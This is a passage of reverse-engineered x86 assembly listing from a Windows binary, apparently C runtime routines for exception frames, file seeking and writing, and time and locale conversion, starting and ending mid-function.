		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------

loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2

loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_42246B:				; CODE XREF: sub_4222C2+2Ej
					; sub_4222C2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4222C2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427900
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh

loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2

loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427910
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------

loc_422599:				; DATA XREF: ___:00427920o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42259D:				; DATA XREF: ___:00427924o
		mov	esp, [ebp+var_18]

loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0

loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_4225AD:				; DATA XREF: ___:00427918o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43C8C4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------

loc_4225EF:				; DATA XREF: ___:00427938o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4225F3:				; DATA XREF: ___:0042793Co
		mov	esp, [ebp+var_18]

loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0

loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_422603:				; DATA XREF: ___:00427930o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DC908
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------

loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------

loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]

loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2650000h

loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43CD8C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi

loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43CCA8
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43CCAC, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721

loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43CCB0

loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------

loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh

loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DC6C0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB278, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 2760000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 267084Ch
		jmp	short loc_422791
; ---------------------------------------------------------------------------

loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax

loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------

loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------

loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh

loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx

loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DC5C0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx

loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]

loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------

loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB278, 16h

loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------

loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------

loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]

loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------

loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------

loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB

loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]

loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]

loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DC6C0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E

loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------

loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch

loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85

loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]

loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax

loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4

loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E

loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi

loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB278, 9
		mov	dword_4DB27C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------

loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 267084Ch
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------

loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 267084Ch
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------

loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967

loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB278, 1Ch
		mov	dword_4DB27C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------

loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------

loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh

loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427948
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DB34C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DB34C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------

loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CAE2C
		push	esi
		push	edi
		nop
		call	near ptr 2641168h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DB34C, 2

loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DB34C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2641168h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------

loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DB344
		mov	[ebp+arg_18], eax

loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2810000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_422CE7

loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax

loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------

loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2801207h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58

loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
